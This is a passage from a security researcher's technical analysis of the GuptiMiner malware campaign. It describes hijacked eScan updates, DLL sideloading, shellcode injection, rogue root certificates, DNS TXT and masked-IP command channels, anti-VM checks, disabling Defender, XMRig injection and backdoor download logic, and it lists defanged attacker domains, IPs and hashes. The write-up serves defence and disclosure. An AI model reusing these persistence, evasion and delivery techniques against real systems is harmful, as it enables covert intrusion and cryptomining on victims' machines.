This file was named <code>C:\Program Files\eScan\VERSION.DLL</code> which points out the target audience is truly eScan users and it comes from an update package downloaded by the AV.&nbsp;Even though this version lacked several features present in the newer samples, the installation process is still the same, as follows:&nbsp;<ol><li>The eScan updater triggers the update </li><li>The downloaded package file is replaced with a malicious one on the wire because of a missing HTTPS encryption (MitM is performed) </li><li>A malicious package <code>updll62.dlz</code> is downloaded and unpacked by eScan updater </li><li>The contents of the package contain a malicious DLL (usually called <code>version.dll</code>) that is sideloaded by eScan. Because of the sideloading, the DLL runs with the same privileges as the source process – eScan – and it is loaded next time eScan runs, usually after a system restart </li><li>If a mutex is not present in the system (depends on the version, e.g. <code>Mutex_ONLY_ME_V1</code>), the malware searches for <code>services.exe</code> process and injects its next stage into the first one it can find </li><li>Cleanup is performed, removing the update package&nbsp;</li></ol>The malicious DLL contains additional functions which are not present in the clean one. Thankfully the names are very verbose, so no analysis was required for most of them. The list of the functions can be seen below.

Some functions, however, are unique. For example, the function <code>X64Call</code> provides Heaven’s gate, i.e., it is a helper function for running x64 code inside a 32-bit process on a 64-bit system. The malware needs this to be able to run the injected shellcode depending on the OS version and thus the bitness of the <code>services.exe</code> process.&nbsp;

To keep the original eScan functionality intact, the malicious <code>version.dll</code> also needs to handle the original legacy <code>version.dll</code> functionality. This is done by forwarding all the exported functions from the original DLL. When a call of the legacy DLL function is identified, GuptiMiner resolves the original function and calls it afterwards.&nbsp;

<h3>Injected Shellcode in services.exe&nbsp;</h3>After the shellcode is injected into <code>services.exe</code>, it serves as a loader of the next stage. This is done by reading an embedded PE file in a plaintext form.&nbsp;

This PE file is loaded by standard means, but additionally, the shellcode also destroys the PE’s DOS header and runs it by calling its entry point, as well as it removes the embedded PE from the original location memory altogether.&nbsp;<h4>Command Line Manipulation&nbsp;</h4>Across the entire GuptiMiner infection chain, every shellcode which is loading and injecting PE files also manipulates the command line of the current process. This is done by manipulating the result of <code>GetCommandLineA/W</code> which changes the resulted command line displayed for example in Task Manager.&nbsp;

After inspecting this functionality, we believe it either doesn’t work as the authors intended or we don’t understand its usage. Long story short, the command line is changed in such a way that everything before the first <code>--parameter</code> is skipped, and this parameter is then appended to the process name.&nbsp;To illustrate this, we could take a command: <code>notepad.exe param1 --XX param2</code> which will be transformed into: <code>notepad.exeXX param2</code>&nbsp;However, we have not seen a usage like <code>power --shell.exe param1 param2</code> that would result into: <code>powershell.exe param1 param2</code> nor have we seen any concealment of parameters (like usernames and passwords for XMRig), a type of behavior we would anticipate when encountering something like this. In either case, this functionality is obfuscating the command line appearance, which is worth mentioning. An interested reader can play around with the functionality at the awesome godbolt.org <a href="https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1DIApACYAQuYukl9ZATwDKjdAGFUtAK4sGIM6SuADJ4DJgAcj4ARpjEIJIAzKQADqgKhE4MHt6%2B/ilpGQIhYZEsMXGJtpj2jgJCBEzEBNk%2BfgF2mA6Z9Y0ExRHRsfFJCg1NLbntY32hA2VDiQCUtqhexMjsHOYJocjeWADUJgluo8ShwAB0CMfYJhoAgtu7%2B5hHJ2wsJACe17f3TzMOwYey8h2OpwI%2BFQfwSd0eANCBAOBxYhjwyS8BgImAA%2BoZ0nhcWgWGiGOhcbRZhBkAhGgcAFQkskUqlhRYAkwAdisjxRSIOeGOFgOAHpRUcAKwWYgKZLWMwaG6SgAiUplUWSAFozAAOZUqgH8wQHGiygi4uVMDb4qg44i45LEVAbBQKXHMNjCsUSkzS2XyyxmSQG9XETU6kN%2Bw18wUms2jXHoJgKG4JEXisNyhX66NhiOKg1Go4I2PFhMW5Op95qjTC8t4c2W5LWvFMO2xR3O13uz1vY61%2Bux/jEA4QQU1g519MHZmGVmzP0WIWq73Wax4A4css84sozNarV7wVUMcHMBgCtJlMII5mABs5nvs9QpPnlMX0pXaoHA/PHC1MAODvR8HxfN9yQ/MIl03awDi4PNfwSNUgMA4DtweFEsNNRtEyrW8/yFdNjzwU9xwvK8rRtdt7S7F1MDdD1WH7B8n3AlkoMwGDEOQv8gP/EC2KZV8OLZN4Lz4rYzDMIDjxRbk3AU89L1wi0qLbDsHSdejGL7QSwLnSCxO41Ua0kgSnzYwyF2gr8Di1eCeMNZD/3MGTgMssDhIgmz%2B14lzZOk/iMOw7leUw7CcKbdTbVo7SeyYthJyI8LQq5GMIu5DL%2BTI5Sr3wo4uUUoq8tU5tW1izt4oY3tmK3Y9iEwAg1gYeCgiCIcIs%2BL4ADdMAgY8n2szil0oltqM0uiEr7aNSEGh9huM6V8pvO8RTMWaSPsqLEximiqu7GrEreBz7w5YjY0a5riFarh2s6rLOUeAU0VCCAkVIWc6WIBkGQwsLj1pelkBYdAlycu8zAYVAcRbdBLkwVQ3hbYhWAULh7K1AANLGDhRtGNslNwGDczrsKdJEqAG6TzElBQ3M%2BkH0HO1KsLJDEsSYHF8QYQliRE98xJpUGWePCnBCptzD1uO86b9YmGdnEWHtLJ50o4ZZaE4SVeD8DgtFIVBOEUyw4IUVZ1hYhIeFIAhNA15YAGsQASBJLldj3Pa9%2B99E4SRdftw3OF4BQQA0W37eWOBYCQElkjoWJyEoOOE7iYAuASAIaFoe1Q4gKJA6iUJGm%2BTgbaL5hiG%2BAB5KJtE6O3uF4ZlGAIauGFoUv9d4LAoi8YA3DEWhQ6b0gsDJYBxG7sfGwbvA%2BpHg3Ec6LwcUDpFqkDqkolRquPCwQOCHOFgy41vgDGABQADU8EwAB3avkkYU%2BZEEEQxHYKRX/kJQ1ED3QuD6EMMYdclh9B4CiKHSAyxUDJFqLzTgWpq5mF4KgPqxBzhYCgRAZYHQujOAgK4CYfhAHBFmKUcoehUjpHgcQqhBR4H9AoUMQBeD4E9HGJ4Voeg2HdGmEwwYcRWHTDocI3oAj5hCNwRbDYEhNbawDtPI2wFVC6nvFqe8kgDjAGQMgeCbszBjlwIQEgd5raLF4I3LQiwnYuzdl7BxHsfZaw4P7UgesDbKJDmHCO3co4wEQCAVYBBMQECTjSV88d6DEHCMxTgqj1GaO0bo/RlwUGBHwEQTBeh%2BBv1EOIL%2BuSf4qHUNPABpA76o2SKfeRHAdbuMDso6uq9QkHFQKeBJGitE6L0RnNJY4PAsCibEMxXALG%2BOsbY127tHEON9q4xRnjg62B8VYh28z0keNQcstZNjSDoPSM4SQQA%3D">here</a>.&nbsp;<h3 id="code-virtualization">Code Virtualization&nbsp;</h3><code>7a1554fe1c504786402d97edecc10c3aa12bd6b7b7b101cfc7a009ae88dd99c6</code> <code>(version.dll, 2018-06-12 03:30:01)&nbsp;</code>Another version with a mutex <code>ONLY_ME_V3</code> introduced a code virtualization. This can be observed by an additional section in the PE file called <code>.v_lizer</code>. This section was also renamed a few times in later builds.

Thankfully the obfuscation is rather weak, provided the shellcode as well as the embedded PE file are still in the plaintext form.&nbsp;Furthermore, the authors started to distinguish between the <code>version.dll</code> stage and the PE file loaded by the shellcode by additional mutex. Previously, both stages used the shared mutex <code>ONLY_ME_Vx</code>, now the sideloading uses <code>MTX_V101</code> as a mutex.<h2 id="installation-improvements">Stage 0.9 – Installation Improvements</h2><code>3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c</code> <code>(2021-03-28 14:41:07 UTC)&nbsp;</code>The installation process has undergone multiple improvements over time, and, since it is rather different compared to older variants, we decided to describe it separately as an intermediary Stage 0.9. With these improvements, the authors introduced a usage of scheduled tasks, WMI events, two differently loaded next stages (<a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#png-loader">Stage 1 – PNG loader</a>), turning off Windows Defender, and installing crafted certificates to Windows.&nbsp;There are also multiple files dropped at this stage, enabling further sideloading by the malware. These files are clean and serve exclusively for sideloading purposes. The malicious DLLs that are being sideloaded, are two PNG loaders (Stage 1):&nbsp;<ul><li><code>de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739 *atiadlxx.dll</code> </li><li><code>e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee *BrLogAPI.dll</code>&nbsp;</li></ul><h3>WMI Events&nbsp;</h3><code>de48abe380bd84b5dc940743ad6727d0372f602a8871a4a0ae2a53b15e1b1739</code> <code>(atiadlxx.dll, 2021-03-28 14:30:11 UTC)&nbsp;</code>At this stage, WMI events are used for loading the first of the PNG loaders. This loader is extracted to a path: <code>C:\PROGRAMDATA\AMD\CNext\atiadlxx.dll</code>&nbsp;Along with it, additional clean files are dropped, and they are used for sideloading, in either of these locations (can be both):&nbsp; <code>C:\ProgramData\AMD\CNext\slsnotif.exe&nbsp;</code> <code>C:\ProgramData\AMD\CNext\msvcr120.dll</code> or <code>C:\Program Files (x86)\AMD\CNext\CCCSlim\slsnotify.exe</code> <code>C:\Program Files (x86)\AMD\CNext\CCCSlim\msvcr120.dll&nbsp;</code>The clean file <code>slsnotify.exe</code> is then registered via WMI event in such a way that it is executed when these conditions are met:WMI conditions to trigger sideloadingIn other words, the sideloading is performed on a workday in either January, July, or November. The numbers represented by <code>%d</code> are randomly selected values. The two possibilities for the hour are exactly two hours apart and fall within the range of 11–16 or 13–18 (inclusive). This conditioning further underlines the longevity of GuptiMiner operations.<h3>Scheduled Tasks</h3><code>e0dd8af1b70f47374b0714e3b368e20dbcfa45c6fe8f4a2e72314f4cd3ef16ee</code> <code>(BrLogAPI.dll, 2021-03-28 14:10:27 UTC)</code>Similarly to the WMI events, GuptiMiner also drops a clean binary for sideloading at this location: <code>C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe</code>&nbsp;The malicious PNG loader is then placed in one (or both) of these locations: <code>C:\Program Files (x86)\Brother\Brmfl14c\BrLogAPI.dll</code> <code>C:\Program Files\Brother\Brmfl14c\BrLogAPI.dll&nbsp;</code>The scheduled task is created by invoking a Task Scheduler. The scheduled task has these characteristics:&nbsp;<ul><li>It is created and named as <code>C:\Windows\System32\Tasks\Microsoft\Windows\Brother\Brmfl14c</code> </li><li>Executes: <code>C:\ProgramData\Brother\Brmfl14c\BrRemPnP.exe</code> </li><li>The execution is done under a folder containing the to-be-sideloaded DLL, e.g.: <code>C:\Program Files (x86)\Brother\Brmfl14c\</code> </li><li>The execution is performed with every boot (<code>TASK_TRIGGER_BOOT</code>) with <code>SYSTEM</code> privileges&nbsp;</li></ul><h3>Deploy During Shutdown</h3><code>3515113e7127dc41fb34c447f35c143f1b33fd70913034742e44ee7a9dc5cc4c</code> <code>(2021-03-28 14:41:07 UTC)</code>Let’s now look at how all these files, clean and malicious, are being deployed. One of GuptiMiner’s tricks is that it drops the final payload, containing PNG loader stage, only during the system shutdown process. Thus, this happens at the time other applications are shutting down and potentially not protecting the user anymore.

From the code above, we can observe that only when the <code>SM_SHUTTINGDOWN</code> metric is non-zero, meaning the current session is shutting down, as well as all the supporting clean files were dropped successfully, the final payload DLL is dropped as well.&nbsp;An engaged reader could also notice in the code above that the first function that is being called disables Windows Defender. This is done by standard means of modifying registry keys. Only if the Defender is disabled can the malware proceed with the malicious actions.&nbsp;<h3>Adding Certificates to Windows</h3>Most of the time, GuptiMiner uses self-signed binaries for their malicious activities. However, this time around, the attackers went a step further. In this case, both of the dropped PNG loader DLLs are signed with a custom trusted root anchor certification authority. This means that the signature is inherently untrusted since the attackers’ certification authority cannot be trusted by common verification processes in Windows.&nbsp;However, during the malware installation, GuptiMiner also adds a root certificate to Windows’ certificate store making this certification authority trusted. Thus, when such a signed file is executed, it is understood as correctly signed. This is done by using <code>CertCreateCertificateContext</code>, <code>CertOpenStore</code>, and <code>CertAddCertificateContextToStore</code> API functions.

The certificate is present in a plaintext form directly in the GuptiMiner binary file.

During our research, we found three different certificate issuers used during the GuptiMiner operations:&nbsp;<ul><li><code>GTE Class 3 Certificate Authority </code></li><li><code>VeriSign Class 3 Code Signing 2010</code> </li><li><code>DigiCert Assured ID Code Signing CA&nbsp;</code></li></ul>Note that these names are artificial and any resemblance to legitimate certification authorities shall be considered coincidental.&nbsp;<h3 id="storing-payloads-in-registry">Storing Payloads in Registry&nbsp;</h3><code>8e96d15864ec0cc6d3976d87e9e76e6eeccc23c551b22dcfacb60232773ec049</code> <code>(upgradeshow.dll, 2023-11-23 16:41:34 UTC)&nbsp;</code>At later development stages, authors behind GuptiMiner started to integrate even better persistence of their payloads by storing the payloads in registry keys. Furthermore, the payloads were also encrypted by XOR using a fixed key. This ensures that the payloads look meaningless to the naked eye.&nbsp;We’ve discovered these registry key locations to be utilized for storing the payloads so far:&nbsp;<ul><li><code>SYSTEM\CurrentControlSet\Control\Nls\Sorting\Ids\en-US</code> </li><li><code>SYSTEM\CurrentControlSet\Control\PnP\Pci\CardList</code> </li><li><code>SYSTEM\CurrentControlSet\Control\Wdf\DMCF</code> </li><li><code>SYSTEM\CurrentControlSet\Control\StorVSP\Parsers</code>&nbsp;</li></ul><h2 id="png-loader">Stage 1 – PNG Loader&nbsp;</h2><code>ff884d4c01fccf08a916f1e7168080a2d740a62a774f18e64f377d23923b0297</code> <code>(2018-04-19 09:45:25 UTC)&nbsp;</code>When the entry point of the PE file is executed by the shellcode from <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#installation-process">Stage 0</a>, the malware first creates a scheduled task to attempt to perform cleanup of the initial infection by removing <code>updll62.dlz</code> archive and <code>version.dll</code> library from the system.&nbsp;Furthermore, the PE serves as a dropper for additional stages by contacting an attacker’s malicious DNS server. This is done by sending a DNS request to the attacker’s DNS server, obtaining the TXT record with the response. The TXT response holds an encrypted URL domain of a real C&amp;C server that should be requested for an additional payload. This payload is a valid PNG image file (a T-Mobile logo) which also holds a shellcode appended to its end. The shellcode is afterwards executed by the malware in a separate thread, providing further malware functionality as a next stage.Note that since the DNS server itself is malicious, the requested domain name doesn’t really matter – or, in a more abstract way of thinking about this functionality, it can be rather viewed as a “password” which is passed to the server, deciding whether the DNS server should or shouldn’t provide the desired TXT answer carrying the instructions.&nbsp;As we already mentioned in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#domains-in-time">Domains timeline section</a>, there are multiple of such “Requested domains” used. In the version referenced here, we can see these two being used:&nbsp;<ul><li><code>ext.peepzo[.]com</code> </li><li><code>crl.peepzo[.]com</code>&nbsp;</li></ul>and the malicious DNS server address is in this case:&nbsp;<ul><li><code>ns1.peepzo[.]com</code>&nbsp;</li></ul>Here we can see a captured DNS TXT response using Wireshark. Note that <code>Transaction ID = 0x034b</code> was left unchanged during all the years of GuptiMiner operations. We find this interesting because we would expect this could get easily flagged by firewalls or EDRs in the affected network.DNS TXT response captured by WiresharkThe requests when the malware is performing the queries is done in random intervals. The initial request for the DNS TXT record is performed in the first 20 minutes after the PNG loader is executed. The consecutive requests, which are done for the malware’s update routine, wait up to 69 hours between attempts.&nbsp;This update mechanism is reflected by creating separate mutexes with the shellcode version number which is denoted by the first two bytes of the decrypted DNS TXT response (see below for the decryption process). This ensures that no shellcode with the same version is run twice on the system.&nbsp;

<h3 id="dns-txt-decryption">DNS TXT Record Decryption</h3>After the DNS TXT record is received, GuptiMiner decodes the content using base64 and decrypts it with a combination of MD5 used as a key derivation function and the RC2 cipher for the decryption. Note that in the later versions of this malware, the authors improved the decryption process by also using checksums and additional decryption keys.&nbsp;For the key derivation function and the decryption process, the authors decided to use standard Windows CryptoAPI functions.

Interestingly, a keen eye can observe an oversight in this initialization process shown above, particularly in the <code>CryptHashData</code> function. The prototype of the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-crypthashdata">CryptHashData API function</a> is:<code>BOOL CryptHashData(</code> <code>&nbsp; [in] HCRYPTHASH hHash,</code> <code>&nbsp; [in] const BYTE *pbData,</code> <code>&nbsp; [in] DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwDataLen,</code> <code>&nbsp; [in] DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwFlags</code> <code>);&nbsp;</code>The second argument of this function is a pointer to an array of bytes of a length of <code>dwDataLen</code>. However, this malware provides the string <code>L"POVO@1"</code> in a Unicode (UTF-16) format, represented by the array of bytes <code>*pbData</code>.

Thus, the first six bytes from this array are only <code>db 'P', 0, 'O', 0, 'V', 0</code> which effectively cuts the key in half and padding it with zeroes. Even though the malware authors changed the decryption key throughout the years, they never fixed this oversight, and it is still present in the latest version of GuptiMiner.&nbsp;<h3>DNS TXT Record Parsing&nbsp;</h3>At this point, we would like to demonstrate the decrypted TXT record and how to parse it. In this example, while accessing the attacker’s malicious DNS server <code>ns.srnmicro[.]net</code> and the requested domain <code>spf.microsoft[.]com</code>, the server returned this DNS TXT response:&nbsp;<code>VUBw2mOgagCILdD3qWwVMQFPUd0dPHO3MS/CwpL2bVESh9OnF/Pgs6mHPLktvph2</code>After fully decoding and decrypting this string, we get:&nbsp;This result contains multiple fields and can be interpreted as:&nbsp;

The first two bytes, Version 1 and Version 2, form the PNG shellcode version. It is not clear why there are two such versions since Version 2 is actually never used in the program. Only Version 1 is considered whether to perform the update – i.e., whether to download and load the PNG shellcode or not. In either case, we could look at these numbers as a major version and a minor version, and only the major releases serve as a trigger for the update process.The third byte is a key size that denotes how many bytes should be read afterwards, forming the key. Furthermore, no additional delimiter is needed between the key and the URL since the key size is known and the URL follows. Finally, the two-byte checksum can be verified by calculating a sum of all the bytes (modulo <code>0xFF</code>).&nbsp;After the DNS TXT record is decoded and decrypted, the malware downloads the next stage, from the provided URL, in the form of a PNG file. This is done by using standard <code>WinINet</code> Windows API, where the <code>User-Agent</code> is set to contain the bitness of the currently running process.

The C&amp;C server uses the <code>User-Agent</code> information for two things:&nbsp;<ul><li>Provides the next stage (a shellcode) in the correct bitness </li><li>Filters any HTTP request that doesn’t contain this information as a protection mechanism&nbsp;</li></ul><h3 id="parsing-the-png-file">Parsing the PNG File&nbsp;</h3>After the downloaded file is a valid PNG file which also contains a shellcode appended at the end. The image is a T-Mobile logo and has exactly <code>805</code> bytes. These bytes are skipped by the malware and the rest of the file, starting at an offset <code>0x325</code>, is decrypted by RC2 using the key provided in the TXT response (derived using MD5). The reason of using an image as this “prefix” is to further obfuscate the network communication where the payload looks like a legitimate image, likely overlooking the appended malware code.&nbsp;

After the shellcode is loaded from the position <code>0x325</code>, it proceeds with loading additional PE loader from memory to unpack next stages using Gzip.&nbsp;<h3>IP Address Masking</h3><code>294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a</code> <code>(2023-11-09 14:19:45 UTC)&nbsp;</code>In late 2023, the authors decided to ditch the years-long approach of using DNS TXT records for distributing payloads and they switched to IP address masking instead.&nbsp;This new approach consists of a few steps:&nbsp;<ol><li>Obtain an IP address of a hardcoded server name registered to the attacker by standard means of using <code>gethostbyname</code> API function </li><li>For that server, two IP addresses are returned – the first is an IP address which is a masked address, and the second one denotes an available payload version and starts with <code>23.195.</code> as the first two octets </li><li>If the version is newer than the current one, the masked IP address is de-masked and results in a real C&amp;C IP address </li><li>The real C&amp;C IP address is used along with a hardcoded constant string (used in a URL path) to download the PNG file containing the shellcode&nbsp;</li></ol>The de-masking process is done by XORing each octet of the IP address by <code>0xA</code>, <code>0xB</code>, <code>0xC</code>, <code>0xD</code>, respectively. The result is then taken, and a hardcoded constant string is added to the URL path.&nbsp;As an example, one such server we observed was <code>www.elimpacific[.]net</code>. It was, at the time, returning:&nbsp;

The address <code>23.195.101[.]1</code> denotes a version and if it is greater than the current version, it performs the update by downloading the PNG file with the shellcode. This update is downloaded by requesting a PNG file from the real C&amp;C server whose address is calculated by de-masking the <code>179.38.204[.]38</code> address:&nbsp;&nbsp;The request is then made, along with the calculated IP address <code>185.45.192[.]43</code> and a hardcoded constant <code>elimp</code>. Using a constant like this serves as an additional password, in a sense: <code>185.45.192[.]43/elimp/</code>&nbsp;

When the PNG file is downloaded, the rest of the process is the same as usual.&nbsp;We’ve discovered two servers for this functionality so far:&nbsp;

<h3>Anti-VM and Anti-debug Tricks&nbsp;</h3><code>294b73d38b89ce66cfdefa04b1678edf1b74a9b7f50343d9036a5d549ade509a</code> <code>(2023-11-09 14:19:45 UTC)&nbsp;</code>Along with other updates described above, we also observed an evolution in using anti-VM and anti-debugging tricks. These are done by checking well known disk drivers, registry keys, and running processes.&nbsp;GuptiMiner checks for these disk drivers by enumerating <code>HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Disk\Enum</code>:&nbsp;<ul><li><code>vmware </code></li><li><code>qemu </code></li><li><code>vbox </code></li><li><code>virtualhd&nbsp;</code></li></ul>Specifically, the malware also checks the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Cylance</code> for the presence of Cylance AV.&nbsp;As other anti-VM measures, the malware also checks whether the system has more than 4GB available RAM and at least 4 CPU cores.&nbsp;Last but not least, the malware also checks the presence of these processes by their prefixes:&nbsp;

<h3>Storing Images in Registry</h3><code>6305d66aac77098107e3aa6d85af1c2e3fc2bb1f639e4a9da619c8409104c414</code> <code>(2023-02-22 14:03:04 UTC)&nbsp;</code>Similarly to <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#storing-payloads-in-registry">Storing Payloads in Registry</a>, in later stages of GuptiMiner, the authors also started to save the downloaded PNG images (containing the shellcodes) into registry as well. Contrary to storing the payloads, the images are not additionally XORed since the shellcodes in them are already encrypted using RC2 (see <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#dns-txt-decryption">DNS TXT Record Decryption</a> section for details).&nbsp;We’ve discovered these registry key locations to be utilized for storing the encrypted images containing the shellcodes so far:&nbsp;<ul><li><code>SYSTEM\CurrentControlSet\Control\Arbiters\Class </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\Class </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\CORE </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\DEF </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\Els </code></li><li><code>SYSTEM\CurrentControlSet\Control\CMF\ASN </code></li><li><code>SYSTEM\CurrentControlSet\Control\MSDTC\BSR&nbsp;</code></li></ul><h2>Stage 2 – Gzip Loader&nbsp;</h2><code>357009a70daacfc3379560286a134b89e1874ab930d84edb2d3ba418f7ad6a0b</code> <code>(2019-04-02 07:30:21 UTC)&nbsp;</code>This stage is the shortest, the Gzip loader, which is extracted and executed by the shellcode from the PNG file, is a simple PE that decompresses another shellcode using Gzip and executes it in a separate thread.&nbsp;This thread additionally loads Stage 3, which we call Puppeteer, that orchestrates the core functionality of the malware – the cryptocurrency mining as well as, when applicable, deploying backdoors on the infected systems.&nbsp;Throughout the GuptiMiner operations, Gzip loader has not been changed with later versions.&nbsp;<h2>Stage 3 – Puppeteer</h2><code>364984e8d62eb42fd880755a296bd4a93cc071b9705c1f1b43e4c19dd84adc65</code> <code>(2019-03-15 10:07:36 UTC)&nbsp;</code>Let’s now look at the biggest Stage 3, the Puppeteer. It pulls its strings everywhere across the infected system, manipulating the GuptiMiner components to do its bidding, hence the name we’ve chosen. It orchestrates further actions and deploys two core components of the malware – an XMRig coinminer and two types of backdoors that target devices present in large corporate networks. Of course, Puppeteer also introduces additional tricks to the arsenal of the whole GuptiMiner operation.&nbsp;This stage also uses one of the many <code>Global\SLDV</code> mutexes which we described in the <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#mutexes-in-time">Mutex timeline</a>. For example, this particular sample uses <code>SLDV01</code> as its mutex.<h3>Puppeteer Setup</h3>Puppeteer performs several steps for a proper setup. Firstly, it adds a new power scheme in Windows so the PC does not go to sleep. If the CPU has only one core (anti-VM) or the mutex already exists, the malware ceases to function by going to infinite sleep.&nbsp;In the next phase, the malware kills all the processes with a name <code>msiexec.exe</code>, <code>cmstp.exe</code>, or <code>credwiz.exe</code>. After that, it creates a separate thread that injects XMRig into a credwiz.exe process freshly created by the malware. The malware also disables Windows Defender by setting its service start status to disabled.&nbsp;For the persistence, Puppeteer chose an interesting approach. Firstly, it creates a scheduled task with the following configuration:&nbsp;<ul><li>A legitimate <code>rundll32.exe</code> file is copied and renamed into <code>C:\ProgramData\Microsoft\Crypto\Escan\dss.exe</code> and this file is executed from the scheduled task </li><li>The malicious DLL is placed to <code>C:\ProgramData\Microsoft\Crypto\Escan\updll3.dll3</code> and this file is loaded by <code>dss.exe</code> (exported function <code>ValidateFile</code>) </li><li>The task is executed with every boot (<code>TASK_TRIGGER_BOOT</code>) and <code>TASK_RUNLEVEL_HIGHEST</code> priority </li><li>The task is named and located at <code>C:\Windows\system32\tasks\Microsoft\windows\autochk\ESUpgrade</code>&nbsp;</li></ul>With that, the malware copies the content of <code>updll3.dll3</code> into memory and deletes the original file from disk. Puppeteer then waits for a system shutdown (similarly to <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#installation-improvements">Stage 0.9</a>) by waiting for <code>SM_SHUTTINGDOWN</code> metric to be set to non-zero value, indicating the shutdown. This is checked every 100 milliseconds. Only when the shutdown of the system is initiated, the malware reintroduces the <code>updll3.dll3</code> file back onto disk.&nbsp;Putting the malicious DLL back just before the system restart is really sneaky but also has potentially negative consequences. If the victim’s device encounters a crash, power outage, or any other kind of unexpected shutdown, the file won’t be restored from memory and Puppeteer will stop working from this point. Perhaps this is the reason why authors actually removed this trick in later versions, trading the sophistication for malware’s stability.

The repetitive loading of <code>updll3.dll3</code>, as seen in the code above, is in fact Puppeteer’s update process. The DLL will ultimately perform steps of requesting a new <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#parsing-the-png-file">PNG shellcode</a> from the C&amp;C servers and if it is a new version, the chain will be updated.&nbsp;<h3>XMRig Deployment&nbsp;</h3>During the setup, Puppeteer created a separate thread for injecting an XMRig coinminer into <code>credwiz.exe</code> process. Before the injection takes place, however, a few preparation steps are performed.&nbsp;The XMRig configuration is present directly in the XMRig binary (standard JSON config) stored in the Puppeteer binary. This configuration can be, however, modified to different values on the fly. In the example below, we can see a dynamic allocation of mining threads depending on the robustness of the infected system’s hardware.&nbsp;

The injection is standard: the malware creates a new suspended process of <code>credwiz.exe</code> and, if successful, the coinmining is injected and executed by <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code> combo.&nbsp;Puppeteer continuously monitors the system for running process, by default every 5 seconds. If it encounters any of the monitoring tools below, the malware kills any existing mining by taking down the whole <code>credwiz.exe</code> process as well as it applies a progressive sleep, postponing another re-injection attempt by additional 5 hours.&nbsp;<ul><li><code>taskmgr.exe</code> </li><li><code>autoruns.exe</code> </li><li><code>wireshark.exe</code> </li><li><code>wireshark-gtk.exe</code> </li><li><code>tcpview.exe</code>&nbsp;</li></ul>Furthermore, the malware needs to locate the current <code>updll3.dll3</code> on the system so its latest version can be stored in memory, removed from disk, and dropped just before another system restart. Two approaches are used to achieve this:&nbsp;<ul><li>Reading eScan folder location from <code>HKEY_LOCAL_MACHINE\SOFTWARE\AVC3</code> </li><li>If one of the checked processes is called <code>download.exe</code>, which is a legitimate eScan binary, it obtains the file location to discover the folder. The output can look like this: <ul><li><code>\Device\HarddiskVolume1\Program Files (x86)\eScan\download.exe</code>&nbsp;</li></ul></li></ul>The check for <code>download.exe</code> serves as an alternative for locating eScan installation folder and the code seems heavily inspired by the example code of <a href="https://learn.microsoft.com/en-us/windows/win32/memory/obtaining-a-file-name-from-a-file-handle">Obtaining a File Name From a File handle</a> on MSDN.&nbsp;Finally, Puppeteer also continuously monitors the CPU usage on the system and tweaks the core allocation in such a way it is not that much resource heavy and stays under the radar.&nbsp;<h3 id="backdoor-setup">Backdoor Setup</h3><code>4dfd082eee771b7801b2ddcea9680457f76d4888c64bb0b45d4ea616f0a47f21</code> <code>(2019-06-29 03:38:24 UTC)&nbsp;</code>The backdoor is set up by the previous stage, Puppeteer, by first discovering whether the machine is operating on a Windows Server or not. This is done by checking a DNS Server registry key (DNS Server service is typically running on a Windows Server edition): <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\DNS Server&nbsp;</code>After that, the malware runs a command to check and get a number of computers joined in a domain: <code>net group “domain computers” /domain</code>The data printed by the <code>net group</code> command typically uses 25 characters per domain joined computer plus a newline (<code>CR+LF</code>) per every three computers, which can be illustrated by the example below:&nbsp;

In this version of the backdoor setup, Puppeteer checks whether the number of returned bytes is more than 100. If so, Puppeteer assumes it runs in a network shared with at least five computers and downloads additional payloads from a hardcoded C&amp;C (<code>https://m.airequipment[.]net/gpse/</code>) and executes it using PowerShell command.&nbsp;Note that the threshold for the number of returned bytes was different and significantly higher in later versions of GuptiMiner, as can be seen in a dedicated section discussing <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#modular-backdoor">Modular Backdoor</a>, resulting in compromising only those networks which had more than 7000 computers joined in the same domain!&nbsp;If the checks above pass, Puppeteer uses a PowerShell command for downloading and executing the payload and, interestingly, it is run both in the current process as well as injected in <code>explorer.exe</code>.&nbsp;Furthermore, regardless of whether the infected computer is present in a network of a certain size or not, it tries to download additional payload from <code>dl.sneakerhost[.]com/u</code> as well. This payload is yet another PNG file with the appended shellcode. We know this because the code uses the exact same parsing from the specific offset <code>0x325</code> of the PNG file as described in <a href="https://decoded.avast.io/janrubin/guptiminer-hijacking-antivirus-updates-for-distributing-backdoors-and-casual-mining/#png-loader">Stage 1</a>. However, during our analysis, this domain was already taken down and we couldn’t verify what kind of 